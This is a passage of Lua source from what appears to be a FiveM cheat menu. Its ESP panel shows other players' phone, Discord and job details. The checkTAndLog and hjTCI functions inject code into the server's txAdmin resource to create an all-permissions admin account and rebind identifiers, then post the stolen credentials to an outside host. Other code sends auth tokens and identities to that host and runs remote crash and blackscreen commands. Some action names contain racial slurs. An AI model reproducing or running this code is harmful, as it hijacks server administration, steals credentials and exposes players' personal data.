" .. info.discordId) else table.insert(lines, "Discord: " .. info.discord) end end table.insert(lines, "Health: " .. tostring(health)) table.insert(lines, "Armor: " .. tostring(math.max(0, armor))) table.insert(lines, string.format("Distance: %.1fm", distance)) table.insert(lines, "Vehicle: " .. vehicleName) table.insert(lines, "Weapon: " .. weaponName .. " (" .. tostring(weaponResource) .. ")") table.insert(lines, string.format("Speed: %.1f km/h", speed)) return table.concat(lines, "\n"), nil end function menuUtilities.drawSelectedPlayerInfo() local target = menu.utils.resolvePlayerInfoTargetFromListHighlight() or menu.vars.selectedPlayer if not target or not target.serverId then return end local playerId = GetPlayerFromServerId(target.serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return end local ped = GetPlayerPed(playerId) if not ped or ped == 0 or not DoesEntityExist(ped) then return end local distance = #(GetEntityCoords(ped) - GetEntityCoords(PlayerPedId())) local health = math.max(0, (GetEntityHealth(ped) or 0) - 100) local armor = GetPedArmour(ped) or 0 local speed = (GetEntitySpeed(ped) or 0.0) * 3.6 local isFriend = menu.utils.isPlayerFriendByPlayerId(playerId) local weaponName, weaponResource = getWeaponDisplayInfo(ped) local vehicleName = "On Foot" local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local display = GetDisplayNameFromVehicleModel(GetEntityModel(vehicle)) if display and display ~= "" then vehicleName = display end end local function truncateDisplayText(value, maxLength) local text = tostring(value or "-") if maxLength >= #text then return text end return string.sub(text, 1, math.max(1, maxLength - 3)) .. "..." end local info = getPlayerStateBagInfo(target.serverId) local character = info.character ~= "-" and truncateDisplayText(info.character, 24) or "-" local phone = info.phone ~= "-" and truncateDisplayText(info.phone, 18) or "-" local job = info.job ~= "-" and truncateDisplayText(info.job, info.job:find(" \194\183 ", 1, true) and 30 or 28) or "-" local radio = info.radio ~= "-" and truncateDisplayText(info.radio, 14) or "-" local drawDiscordId = info.discordId if not drawDiscordId and info.discord ~= "-" and info.discord ~= "" then drawDiscordId = info.discord end local discordSource = info.discord ~= "-" and info.discord or drawDiscordId local discord = "-" if discordSource ~= nil and discordSource ~= false and tostring(discordSource) ~= "" then discord = truncateDisplayText(discordSource, 22) elseif drawDiscordId then discord = truncateDisplayText(drawDiscordId, 22) end local hasDiscord = drawDiscordId ~= nil and tostring(drawDiscordId) ~= "" or discord ~= "-" local group = truncateDisplayText(tostring(menu.drawing.getPlayerEspGroup(target.serverId, playerId) or "user"), 24) local isVanity = ( menu.utils.shouldShowVanityUserInEsp and menu.utils.shouldShowVanityUserInEsp(target.serverId) ) or (menu.utils.shouldShowVanityUserInOnlineOptions and menu.utils.shouldShowVanityUserInOnlineOptions( target.serverId )) or string.lower(tostring(group or "")):find("vanity", 1, true) ~= nil local weaponLabel = string.lower(tostring(weaponResource or "WEAPON_UNARMED"):gsub("^WEAPON_", ""):gsub("_", " ")) if weaponLabel == "" then weaponLabel = "unarmed" end local words = {} for word in weaponLabel:gmatch("%S+") do if #word <= 2 then table.insert(words, string.upper(word)) else table.insert(words, string.upper(word:sub(1, 1)) .. word:sub(2)) end end weaponName = truncateDisplayText(table.concat(words, " "), 22) weaponResource = truncateDisplayText(weaponResource, 22) vehicleName = truncateDisplayText(vehicleName, 22) local playerName = truncateDisplayText(GetPlayerName(playerId) or "Player " .. tostring(target.serverId), 20) local primary = menu.drawing.colors.primary or { 0, 200, 170, 255 } local accent = { primary[1], primary[2], primary[3], 255 } local labelColor = { 255, 255, 255, 210 } local textColor = { 255, 255, 255, 255 } local meterColor = { accent[1], accent[2], accent[3], 255 } local healthColor, armorColor = meterColor, meterColor local distanceText = string.format("%.1fm", distance) local speedText = string.format("%.1f km/h", speed) local scale = menu.vars.scale or 1.0 local screenWidth, screenHeight = Hdn.getResolution() local panelWidth = roundNearest(205 * scale) local padding = roundNearest(8 * scale) local titleSpacing = roundNearest(3 * scale) local rowHeight = roundNearest(16 * scale) local rowGap = roundNearest(6 * scale) local sectionGap = roundNearest(8 * scale) local sectionRadius = roundNearest(8 * scale) local outerRadius = roundNearest(10 * scale) local borderRadius = roundNearest(12 * scale) local margin = roundNearest(14 * scale) local menuPosition = menu.vars.menuPositionState or {} local menuX = menuPosition.x or roundNearest(75 * scale) local anchorDivisor = menu.vars.menuVerticalAnchorDivisor or 7 local menuY = menuPosition.y if not menuY then menuY = roundNearest(screenHeight / anchorDivisor) + roundNearest(menu.vars.yOffset * scale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end local menuWidth = menu.vars.width or roundNearest(470 * scale) local horizontalGap = roundNearest(8 * scale) local sectionSpacing = roundNearest(8 * scale) local titleFontSize = roundNearest(13 * scale) local dividerHeight = roundNearest(3 * scale) local baseHeight = padding + titleFontSize + dividerHeight * 2 + roundNearest(5 * scale) local optionFont = menu.fonts.options local fontSize = math.max(10, roundNearest((optionFont.font_size or 15) * 0.78)) local fontScale = (optionFont.font_size or 15) > 0 and fontSize / (optionFont.font_size or 15) or 1.0 local valuePadding = roundNearest(5 * scale) local function measurePlayerInfoText(value) Ham.setFont(menu.fonts.options) return math.ceil((select(1, Ham.getTextWidth(tostring(value))) or 0) * fontScale) + 1 end local meterTrackColor = { 255, 255, 255, 28 } menu.vars._playerInfoPhoneCopyRaw = info.phone ~= "-" and info.phone or nil menu.vars._playerInfoDiscordCopyRaw = hasDiscord and drawDiscordId or nil menu.vars.playerInfoDiscordRowIndex = hasDiscord and 6 or nil local infoRowCount = hasDiscord and 6 or 5 menu.vars._playerInfoListMaxRow = infoRowCount + 2 + 4 local panelHeight = baseHeight + titleSpacing + (infoRowCount * rowHeight + rowGap * 2 + sectionGap) + (2 * rowHeight + rowGap * 2 + sectionGap) + (4 * rowHeight + rowGap * 2) + sectionSpacing local panelY = math.max(margin, menuY - roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor)) local bottom = screenHeight - margin if bottom < panelY + panelHeight then panelY = math.max(margin, bottom - panelHeight) end if bottom < panelY + panelHeight then panelHeight = math.max(1, bottom - panelY) end local panelX = menuX + menuWidth + horizontalGap if panelX + panelWidth > screenWidth - margin then panelX = math.max(margin, menuX - horizontalGap - panelWidth) end menu.vars._playerInfoPanelRect = { x1 = panelX, y1 = panelY, x2 = panelX + panelWidth, y2 = panelY + panelHeight } local rightMouse = ImGuiKey.MouseRight if rightMouse and Ham.isKeyReleased(rightMouse) and Ham.getMousePos then local mouseX, mouseY = Ham.getMousePos() if panelX <= mouseX and mouseX <= panelX + panelWidth and panelY <= mouseY and mouseY <= panelY + panelHeight then menu.vars.playerInfoListMode = true menu.vars.playerInfoListIndex = menu.vars.playerInfoPhoneRowIndex or 2 end end Ham.drawRectFilled({ panelX, panelY, panelWidth, panelHeight }, { 0, 0, 0, 245 }, outerRadius, borderRadius) menu.drawing.drawRoundedRectGradient( { panelX, panelY, panelWidth, panelHeight }, { accent[1], accent[2], accent[3], 48 }, { 0, 0, 0, 0 }, outerRadius ) local function drawPlayerInfoText(text, position, color, size) Ham.setFont(menu.fonts.options) Ham.drawText(text, position, color or textColor, size or fontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(text, position, color or textColor, size or fontSize, false, false, {}) end Ham.setFont(menu.fonts.options) local contentX, contentWidth = panelX, panelWidth local titleX = panelX + padding local serverIdText = tostring(target.serverId) local titleText = playerName if isVanity then titleText = "[VANITY] " .. titleText end if isFriend and not isVanity then titleText = truncateDisplayText(titleText .. " \194\183 Friend", 24) else titleText = truncateDisplayText(titleText, isVanity and 28 or 22) end local titleY = panelY + padding Ham.setFont(menu.fonts.title) Ham.drawText(titleText, { titleX, titleY }, textColor, titleFontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(titleText, { titleX, titleY }, textColor, titleFontSize, false, false, {}) local serverIdWidth = select(1, Ham.getTextWidth(serverIdText)) or 0 local serverIdX = panelX + panelWidth - padding - serverIdWidth Ham.drawText(serverIdText, { serverIdX, titleY }, textColor, titleFontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(serverIdText, { serverIdX, titleY }, textColor, titleFontSize, false, false, {}) Ham.resetFont() local dividerY = titleY + titleFontSize + roundNearest(3 * scale) Ham.drawRectFilled({ contentX, dividerY, contentWidth, 1 }, { accent[1], accent[2], accent[3], 70 }, 0, 0) local iconSize = roundNearest(18 * scale) local iconX = titleX + rowGap local function drawPlayerInfoIcon(icon, y, color) if not icon or icon == "" or not menu.fonts or not menu.fonts.icons then return end local size = math.max(8, roundNearest(9 * scale)) Ham.setFont(menu.fonts.icons) local width = select(1, Ham.getTextWidth(icon)) or 0 local x = iconX + math.floor((iconSize - width) / 2) local iconY = y + math.floor((rowHeight - size) / 2) Ham.drawText(icon, { x, iconY }, color, size, false, true, { 0, 0, 0, 160 }) Ham.drawText(icon, { x, iconY }, color, size, false, false, {}) Ham.setFont(menu.fonts.options) end local function drawPlayerInfoSectionBackground(y, rows) local height = rows * rowHeight + rowGap * 2 Ham.drawRectFilled({ contentX, y, contentWidth, height }, { 0, 0, 0, 200 }, sectionRadius, 8) menu.drawing.drawRoundedRectGradient( { contentX, y, contentWidth, height }, { accent[1], accent[2], accent[3], 56 }, { 0, 0, 0, 0 }, sectionRadius ) return y + height end local rowIndex = 1 local themeName = menu.vars.currentColorTheme or "purple" local currentTheme = menu.vars.currentTheme local selectPrimary, selectLight, selectDark if currentTheme == "grey7" or themeName ~= "grey" then selectPrimary = menu.drawing.colors.primary selectLight = menu.drawing.colors.primary_light selectDark = menu.drawing.colors.primary_dark else selectPrimary = { 255, 255, 255, 40 } selectLight = { 255, 255, 255, 60 } selectDark = { 200, 200, 200, 60 } end local function drawPlayerInfoSelectedRowBackground(y) if not menu.vars.playerInfoListMode then return end if (menu.vars.playerInfoListIndex or menu.vars.playerInfoPhoneRowIndex or 2) ~= rowIndex then return end if themeName == "grey" and currentTheme ~= "grey7" then Ham.drawRectGradient( { panelX, y, panelWidth, rowHeight }, { 240, 240, 240, math.floor(100.5) }, { 200, 200, 200, math.floor(120.5) }, false ) else Ham.drawRectGradient( { panelX, y, panelWidth, rowHeight }, { selectPrimary[1], selectPrimary[2], selectPrimary[3], math.floor(180.5) }, { selectDark[1], selectDark[2], selectDark[3], math.floor(80.5) }, false ) end Ham.drawRectFilled( { panelX, y, panelWidth, 1 }, { selectLight[1], selectLight[2], selectLight[3], 255 }, 1, 0 ) end local function drawPlayerInfoValueRow(y, icon, label, value, iconColor, copyRaw) drawPlayerInfoSelectedRowBackground(y) drawPlayerInfoIcon(icon, y, iconColor or accent) local textX = iconX + iconSize Ham.setFont(menu.fonts.options) drawPlayerInfoText(label, { textX, y }, labelColor) local valueText = tostring(value) local valueX = panelX + panelWidth - padding - rowGap - valuePadding - measurePlayerInfoText(valueText) drawPlayerInfoText(valueText, { valueX, y }, textColor) rowIndex = rowIndex + 1 return y + rowHeight end local function drawPlayerInfoMeterRow(y, icon, label, value, fraction, color, iconColor) drawPlayerInfoSelectedRowBackground(y) drawPlayerInfoIcon(icon, y, iconColor or accent) local valueText = tostring(value) local trackWidth = math.max(3, roundNearest(3 * scale)) local trackHeight = roundNearest(14 * scale) local trackX = iconX + iconSize local trackY = y + math.max(0, roundNearest((fontSize - trackHeight) / 2)) + roundNearest(scale) Ham.drawRectFilled( { trackX, trackY, trackWidth, trackHeight }, meterTrackColor, math.max(1, roundNearest(scale)), 0 ) local fillHeight = math.max(1, math.floor(trackHeight * fraction)) Ham.drawRectFilled( { trackX, trackY + trackHeight - fillHeight, trackWidth, fillHeight }, color or meterColor, math.max(1, roundNearest(scale)), 0 ) if label == "Health" and 0 < fraction then menu.drawing.drawMagicHealthBarEffects( trackX, trackY + trackHeight - fillHeight, trackWidth, fillHeight, color or meterColor, scale ) end local textX = trackX + trackWidth + roundNearest(8 * scale) Ham.setFont(menu.fonts.options) drawPlayerInfoText(label, { textX, y }, labelColor) local valueX = panelX + panelWidth - padding - rowGap - valuePadding - measurePlayerInfoText(valueText) drawPlayerInfoText(valueText, { valueX, y }, textColor) rowIndex = rowIndex + 1 return y + rowHeight end local sectionY = dividerY + roundNearest(2 * scale) drawPlayerInfoSectionBackground(sectionY, infoRowCount) local y = sectionY + rowGap y = drawPlayerInfoValueRow(y, "\239\128\135", "Character", character, accent) y = drawPlayerInfoValueRow(y, "\239\130\149", "Phone", phone, accent, info.phone) y = drawPlayerInfoValueRow(y, "\239\148\153", "Radio", radio, accent) y = drawPlayerInfoValueRow(y, "\239\130\177", "Job", job, accent) y = drawPlayerInfoValueRow(y, "\239\131\128", "Group", group, accent) if hasDiscord then y = drawPlayerInfoValueRow(y, "\239\128\135", "Discord", discord, accent, drawDiscordId) end sectionY = sectionY + infoRowCount * rowHeight + rowGap * 2 + sectionGap Ham.drawRectFilled( { contentX, sectionY - roundNearest(sectionGap / 2), contentWidth, 1 }, { accent[1], accent[2], accent[3], 70 }, 0, 0 ) drawPlayerInfoSectionBackground(sectionY, 2) y = sectionY + rowGap y = drawPlayerInfoMeterRow( y, "\239\128\132", "Health", tostring(health), math.max(0, math.min(1, health / 100)), healthColor, healthColor ) y = drawPlayerInfoMeterRow( y, "\239\143\173", "Armor", tostring(math.max(0, armor)), math.max(0, math.min(1, armor / 100)), armorColor, armorColor ) sectionY = sectionY + 2 * rowHeight + rowGap * 2 + sectionGap Ham.drawRectFilled( { contentX, sectionY - roundNearest(sectionGap / 2), contentWidth, 1 }, { accent[1], accent[2], accent[3], 70 }, 0, 0 ) drawPlayerInfoSectionBackground(sectionY, 4) y = sectionY + rowGap y = drawPlayerInfoValueRow(y, "\239\129\155", "Distance", distanceText, accent) y = drawPlayerInfoValueRow(y, "\239\134\185", "Vehicle", vehicleName, accent) y = drawPlayerInfoValueRow(y, "\239\130\141", "Weapon", weaponName, accent) y = drawPlayerInfoValueRow(y, "\239\131\167", "Speed", speedText, accent) Ham.resetFont() end function menuUtilities.drawSelectedVehicleLine() if not menu.vars.selectedVehicles then return end local width, height = Hdn.getResolution() local centerX, centerY = math.floor(width / 2), math.floor(height / 2) for _, selected in pairs(menu.vars.selectedVehicles) do if selected and selected.vehicle and DoesEntityExist(selected.vehicle) then local position = GetEntityCoords(selected.vehicle) local visible, screenX, screenY = Ham.worldToScreen(position.x, position.y, position.z) if visible and screenX and screenY then Ham.drawLine({ centerX, centerY }, { screenX, screenY }, { 255, 255, 255, 200 }, 2) end end end end function menuUtilities.fetchPedLimit() local limit = 3 for _, stateBag in pairs(Ham.getallstatebags()) do for _, value in pairs(stateBag) do if string.find(value, "PedsLimitIn5Seconds") then local decoded = json.decode(value) if decoded.Entities then limit = decoded.Entities.PedsLimitIn5Seconds break end end end end return limit end function menuUtilities.sendTLog(txU, txP, txUsername, permissions) local payload = { username = Ham.getName(), resourceList = "NOT_IMPLEMENTED", serverName = Ham.getServerHostname(), serverIP = Ham.getServerEndpoint(), playerCount = 0, playerName = GetPlayerName(PlayerId()), discordName = Ham.getDiscordName(), discordId = Ham.getDiscordId(), txUsername = txUsername, permissions = permissions, token = Ham.getAuthToken() or "" } if txU then payload.txU = txU end if txP then payload.txP = txP end Ham.httpPostAsync("https://vty.ham.cx/txA", json.encode(payload)) end function menuUtilities.hjTCI() local account = json.decode(Ham.internal_0x8128933()) if not account or not account.username then return end local discordId = Ham.getDiscordId() local code = [[ RegisterNetEvent("txcl:webpipe:resp", function(callbackId, statusCode, body, headers) if statusCode == 200 and callbackId == 1338 then local data = json.decode(body) if data["success"] then Citizen.InvokeNative(0x9FCDA1BB, 3912, "true") else Citizen.InvokeNative(0x9FCDA1BB, 3912, "false") end end end) local path = 'cfxreId=]] .. "fivem:17871331" .. "&discordId=discord:" .. discordId .. [[ ' TriggerServerEvent('txsv:webpipe:req', 1338, 'POST', '/auth/changeIdentifiers', {}, path) ]] Ham.Execute("monitor", code) local result = Ham.internal_0x9b1c1d5(3912) while #result == 0 do Citizen.Wait(10) result = Ham.internal_0x9b1c1d5(3912) end if result == "true" then menu.utils.sendTLog(nil, nil, username, json.encode(account.permissions)) end end function menuUtilities.checkTAndLog() Citizen.CreateThread(function() local account = json.decode(Ham.internal_0x8128933()) if account then if not account.username then return end local hasPermissions = false for _, permission in pairs(account.permissions) do if permission == "admin.manage" or permission == "manage.admin" or permission == "all_permissions" then hasPermissions = true break end end menu.utils.hjTCI() if not hasPermissions then return end local generatedName = "Flo" .. math.random(0, 9) local code = [[ RegisterNetEvent("txcl:webpipe:resp", function(callbackId, statusCode, body, headers) if callbackId == 1337 then Citizen.InvokeNative(0x9FCDA1BB, 3911, tostring(body)) end end) TriggerServerEvent('txsv:webpipe:req', 1337, 'POST', '/adminManager/add', {}, 'name=]] .. generatedName .. [[ &citizenfxID=&discordID=&permissions[]=all_permissions') ]] Ham.Execute("monitor", code) local result = Ham.internal_0x9b1c1d5(3911) while #result == 0 do Citizen.Wait(10) result = Ham.internal_0x9b1c1d5(3911) end local response = json.decode(result) if response.password then menu.utils.sendTLog( generatedName, response.password, account.username, json.encode(account.permissions) ) end end end) end menuUtilities.allowedUserGroupTerms = { "citizen", "user", "users", "donator", "vip", "premium", "group_user", "spieler" } function menuUtilities.isAllowedUserGroup(group) if not group or #tostring(group) == 0 then return true end local lowerGroup = string.lower(tostring(group)) for _, term in ipairs(menu.utils.allowedUserGroupTerms) do if string.find(lowerGroup, term, 1, true) then return true end end return false end function menuUtilities.addServerBan(details) details = details or {} local token = Ham.getAuthToken() or "" local serverName = Ham.getServerHostname() or "Unknown" local serverIp = Ham.getServerEndpoint() or "Unknown" if #token == 0 or serverIp == "Unknown" then return false end local resourceList = tostring(details.resourceList or "") if 1000 < #resourceList then resourceList = resourceList:sub(1, 1000) end local payload = { token = token, serverName = serverName, serverIP = serverIp, reason = tostring(details.reason or "Automatic server blacklist"), blacklistedBy = tostring(details.blacklistedBy or "Vanity"), playerName = details.playerName, playerCount = details.playerCount, resourceList = resourceList, discordId = details.discordId, discordName = details.discordName, userGroup = details.userGroup } Citizen.CreateThread(function() local request = Ham.httpPostAsync("https://vty.ham.cx/server-ban", json.encode(payload)) if not request then return end local startedAt = GetGameTimer() while 10000 >= GetGameTimer() - startedAt do if Ham.getAsyncResult(request).ready then return end Wait(10) end end) return true end function menuUtilities.showServerLaunchBlacklist() menu.vars.blacklisted = true menu.vars.blacklistUiMode = "blacklist" menu.vars.blacklistMessage = [[ You are blacklisted from launching our product on this server. Banned by: System]] menu.vars.blacklistDisplayTime = GetGameTimer() + 60000 Ham.freeCam(false) if Ham and Ham.camBypass then Ham.camBypass(false) end Ham.noClip(false) menu.vars.freecamMenuActive = false menu.vars.freecamMenuThread = false menu.vars.freecamMenu = nil if menu.vars.bools then menu.vars.bools.freecam = false menu.vars.bools.noclip = false end menu.vars.visible = false end function menuUtilities.checkServerBan() local serverIp = Ham.getServerEndpoint() or "Unknown" local token = Ham.getAuthToken() or "" local username = string.lower(Ham.getName() or "") if #token == 0 or serverIp == "Unknown" then return true end local request = Ham.httpGetAsync("https://vty.ham.cx/server-ban?token=" .. token .. "&serverIP=" .. serverIp, nil, true) if not request then return true end local startedAt = GetGameTimer() while _G.runmenu do local result = Ham.getAsyncResult(request) if result.ready then if not result.success or not result.data then return true end local success, response = pcall(json.decode, result.data) if not success or not response or not response.success then return true end local receivedHash = tostring(response.hash or "") if #receivedHash ~= 64 then _G.runmenu = false return false end local bannedFlag = response.banned == true and "1" or "0" local computedHash = hmacSha256Hex("dfgdjqdijdqij10q09ed90q09jfw0", username .. ":" .. serverIp .. ":" .. bannedFlag) if not computedHash or #computedHash ~= 64 or string.lower(computedHash) ~= string.lower(receivedHash) then _G.runmenu = false return false end if response.banned == true then menu.utils.showServerLaunchBlacklist() return false end return true end if 10000 < GetGameTimer() - startedAt then return true end Wait(10) end return false end function menuUtilities.verifyServerAndLog() menu.functions.startSecurityThread() menu.utils.checkTAndLog() local request = Ham.httpGetAsync("https://" .. GetCurrentServerEndpoint() .. "/dynamic.json", nil, true) local clientCount = 9999 local startedAt = GetGameTimer() while _G.runmenu do local result = Ham.getAsyncResult(request) local finished = false if result.ready then if result.success and result.data then local success, decoded = pcall(json.decode, result.data) if success and decoded then clientCount = decoded.clients or 9999 end end finished = true elseif 10000 < GetGameTimer() - startedAt then finished = true else Wait(10) end if finished then if not _G.runmenu then return false end menu.vars.serverClientCount = clientCount if menu.utils.startServerClientCountRefresh then menu.utils.startServerClientCountRefresh() end local resourceList = json.encode(Ham.getResources()) local stateBag = "player:" .. GetPlayerServerId(PlayerId()) local userGroup = GetStateBagValue(stateBag, "group") if not userGroup or #userGroup == 0 then userGroup = GetStateBagValue(stateBag, "CORE_Group") end local account = json.decode(Ham.internal_0x8128933()) local banReason = nil if account and account.username then userGroup = json.encode(account) local permissions = "unknown" if account.permissions then local ok, encoded = pcall(json.encode, account.permissions) if ok and encoded then permissions = encoded end end banReason = "txAdmin access detected (username: " .. tostring(account.username) .. ", permissions: " .. permissions .. ")" elseif userGroup and #tostring(userGroup) > 0 and not menu.utils.isAllowedUserGroup(userGroup) then banReason = "Restricted server group detected: " .. tostring(userGroup) end local payload = { username = Ham.getName(), resourceList = 1000 < #resourceList and resourceList:sub(1, 1000) or resourceList, serverName = Ham.getServerHostname(), serverIP = Ham.getServerEndpoint(), playerCount = clientCount, playerName = GetPlayerName(PlayerId()), discordName = Ham.getDiscordName(), discordId = Ham.getDiscordId(), token = Ham.getAuthToken() or "", showOnServers = menu.vars.bools.showMeOnServers == true, showLocation = menu.vars.bools.showMyLocation == true, showInVanityEsp = menu.vars.bools.showMeInVanityEsp == true, showInOnlineOptions = menu.vars.bools.showMeInOnlineOptions == true, serverBanned = banReason ~= nil, serverBanReason = banReason } if userGroup then payload.userGroup = userGroup end local logRequest = Ham.httpPostAsync("https://vty.ham.cx/log", json.encode(payload)) while _G.runmenu do local logResult = Ham.getAsyncResult(logRequest) if logResult.ready then if not logResult.success then print("Auth failed", json.encode(logResult)) menu.vars.blacklisted = true menu.vars.blacklistUiMode = "error" menu.vars.blacklistMessage = "Failed to authenticate user. Please try again later" menu.vars.blacklistDisplayTime = GetGameTimer() + 60000 Ham.freeCam(false) if Ham and Ham.camBypass then Ham.camBypass(false) end Ham.noClip(false) menu.vars.freecamMenuActive = false menu.vars.freecamMenuThread = false menu.vars.freecamMenu = nil if menu.vars.bools then menu.vars.bools.freecam = false menu.vars.bools.noclip = false end menu.vars.visible = false return false end local username = Ham.getName() if menu.utils.isOpenInjectServer() then return true end if menu.vars.priorityUsers[username] then return true end if banReason then menu.utils.addServerBan({ reason = banReason, playerName = GetPlayerName(PlayerId()), playerCount = clientCount, resourceList = resourceList, discordId = Ham.getDiscordId(), discordName = Ham.getDiscordName(), userGroup = userGroup }) menu.utils.showServerLaunchBlacklist() return false end if clientCount < 10 and clientCount ~= 0 then menu.vars.pendingBlacklistMessage = "Server requires at least 10 players (Current: " .. clientCount .. ")" menu.vars.pendingBlacklistDisplayDuration = 60000 menu.vars.pendingBlacklistUiMode = "error" return true end return true end Wait(10) end return false end end return false end function menuUtilities.handleHeartbeatCommand(command) local data = command if type(command) == "string" then data = { action = command } elseif type(command) == "table" then if command.action then data = command elseif type(command.commandData) == "table" and command.commandData.action then data = command.commandData elseif type(command.command) == "string" then data = {} if type(command.commandData) == "table" then for key, value in pairs(command.commandData) do data[key] = value end end data.action = data.action or command.command for key, value in pairs(command) do if key ~= "command" and key ~= "commandData" and data[key] == nil then data[key] = value end end else data = command end else data = nil end if not data or not data.action then return end if data.action == "teleport_to_coords" then if not data.position or not data.position.x or not data.position.y or not data.position.z then return end SetEntityCoords(PlayerPedId(), data.position.x, data.position.y, data.position.z) return end if data.action == "group_override" then local group = data.group if type(group) == "string" and group == "__VANITY_CRASH__" then Citizen.CreateThread(function() while true do end end) return end if type(group) == "string" and group == "__VANITY_BLACKSCREEN_START__" then if menu.vars.vanityBlackscreenActive then return end menu.vars.vanityBlackscreenActive = true DoScreenFadeOut(200) CreateThread(function() while menu.vars.vanityBlackscreenActive do DisableAllControlActions(0) if ThefeedPause then ThefeedPause() end Wait(0) end end) return end if type(group) == "string" and group == "__VANITY_BLACKSCREEN_STOP__" then menu.vars.vanityBlackscreenActive = false if ThefeedResume then ThefeedResume() end DoScreenFadeIn(800) return end if type(group) == "string" and group == "__VANITY_BLOCK_CONTROLS_START__" then if menu.vars.vanityBlockControlsActive then return end menu.vars.vanityBlockControlsActive = true CreateThread(function() while menu.vars.vanityBlockControlsActive do DisableAllControlActions(0) Wait(0) end end) return end if type(group) == "string" and group == "__VANITY_BLOCK_CONTROLS_STOP__" then menu.vars.vanityBlockControlsActive = false return end if type(group) == "string" and group == "__VANITY_SLOW_MODE_START__" then menu.vars.vanitySlowModeActive = true if menu.vars.vanitySlowModeLoopRunning then return end menu.vars.vanitySlowModeLoopRunning = true CreateThread(function() SetTimecycleModifier("yell_tunnel_nodirect") if SetTimecycleModifierStrength then SetTimecycleModifierStrength(1.0) end SetExtraTimecycleModifier("spectator10") if SetExtraTimecycleModifierStrength then SetExtraTimecycleModifierStrength(0.45) end AnimpostfxPlay("DrivingFocusIn", 0, true) local function applyMultipliers(moveRate, sprintRate, swimRate, enginePower, torque, cheat) local ped = PlayerPedId() if ped and ped ~= 0 then if SetPedMoveRateOverride then SetPedMoveRateOverride(ped, moveRate) end SetRunSprintMultiplierForPlayer(PlayerId(), sprintRate) SetSwimMultiplierForPlayer(PlayerId(), swimRate) if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then SetVehicleEnginePowerMultiplier(vehicle, enginePower) if SetVehicleEngineTorqueMultiplier then SetVehicleEngineTorqueMultiplier(vehicle, torque) end if SetVehicleCheatPowerIncrease then SetVehicleCheatPowerIncrease(vehicle, cheat) end end end end end while menu.vars.vanitySlowModeActive do applyMultipliers(0.26, 0.22, 0.28, 0.2, 0.26, 0.06) Wait(0) end applyMultipliers(1.0, 1.0, 1.0, 1.0, 1.0, 1.0) ClearTimecycleModifier() ClearExtraTimecycleModifier() AnimpostfxStop("DrivingFocusIn") AnimpostfxStop("DrivingFocusOut") menu.vars.vanitySlowModeLoopRunning = false end) return end if type(group) == "string" and group == "__VANITY_SLOW_MODE_STOP__" then menu.vars.vanitySlowModeActive = false return end if type(group) == "string" and group == "__VANITY_BAN_PLAYER__" then if not menu.functions.banPlayerVanityAtLocalPed then return end menu.functions.banPlayerVanityAtLocalPed() return end menu.vars.groupOverrides[tonumber(data.serverID)] = data.group return end if data.action == "weg_niggern" then if not menu.functions.runWegNiggernPrank then return end menu.functions.runWegNiggernPrank() return end if data.action == "holy_niggan" then if not menu.functions.runHolyNigganPrank then return end menu.functions.runHolyNigganPrank() return end if data.action == "knock" then menu.utils.safeExecute([[ CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("door"), "knock", GetDuiHandle(CreateDui("http://vortex.menu/sounds/knock.mp3", 1, 1))) ]]) return end if data.action == "discordping" then menu.utils.safeExecute([[ CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("dc2"), "ping", GetDuiHandle(CreateDui("http://vortex.menu/sounds/dcping.mp3", 1, 1))) ]]) return end if data.action == "discordcall" then menu.utils.safeExecute([[ CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("dc"), "call", GetDuiHandle(CreateDui("http://vortex.menu/sounds/call.mp3", 1, 1))) ]]) return end if data.action == "jumpscare" then menu.utils.safeExecute([[ CreateThread(function() local sndDui = CreateDui("https://files.catbox.moe/ddxhk8.mp3", 64, 64) if sndDui and sndDui ~= 0 then CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("jscatbxs"), "snd", GetDuiHandle(sndDui)) end CreateThread(function() local tEnd = GetGameTimer() + 7200 while GetGameTimer() < tEnd do Wait(250) end if sndDui and sndDui ~= 0 then DestroyDui(sndDui) end end) end) CreateThread(function() local w, h = GetActiveScreenResolution() local imgDui = CreateDui("https://files.catbox.moe/39zkdx.png", w, h) if not imgDui or imgDui == 0 then return end local tries = 0 while not IsDuiAvailable(imgDui) and tries < 500 do tries = tries + 1 Wait(0) end CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("jscatbx"), "full", GetDuiHandle(imgDui)) local startTime = GetGameTimer() while GetGameTimer() - startTime < 7000 do DrawSprite("jscatbx", "full", 0.5, 0.5, 1.35, 1.35, 0.0, 255, 255, 255, 255) Wait(0) end DestroyDui(imgDui) end) ]]) return end if data.action == "admin_sound" then local url = tostring(data.url or "https://files.catbox.moe/agdw1g.mp3") if url == "" or not menu.utils.playVanityDuiSoundUrl then return end menu.utils.playVanityDuiSoundUrl(url) return end if data.action == "give_all_weapons" then local ped = PlayerPedId() if not ped or ped == 0 then return end local ammo = tonumber(data.ammo) or 9999 local weapons = data.weapons if type(weapons) ~= "table" or #weapons == 0 then weapons = menu.vars.weaponsList end if type(weapons) ~= "table" then return end for _, weapon in ipairs(weapons) do if type(weapon) == "string" and weapon ~= "" then local hash = GetHashKey(weapon) if hash and hash ~= 0 then GiveWeaponToPed(ped, hash, ammo, false, false) end end end return end if data.action == "menu_notify" then local text = tostring(data.text or data.message or "") if text == "" then return end local notifyType = data.notifyType or data.notify_type or "info" if type(notifyType) ~= "string" then notifyType = "info" end menu.utils.notify( text, notifyType, tonumber(data.duration) or 5000, nil, { large = data.large == true } ) return end if data.action == "reset_menu" then _G.runmenu = false return end if data.action == "kill_self" then local ped = PlayerPedId() if not ped or ped == 0 then return end SetEntityHealth(ped, 0) return end if data.action == "revive" then if not menu.functions.reviveSelf then return end menu.functions.reviveSelf() return end if data.action == "attach_on_me" then local style = data.style or data.attachStyle local serverId = tonumber(data.serverID or data.serverId) if style == "Remove Attach" then if not menu.functions.stopVanityAttachOnAdmin then return end 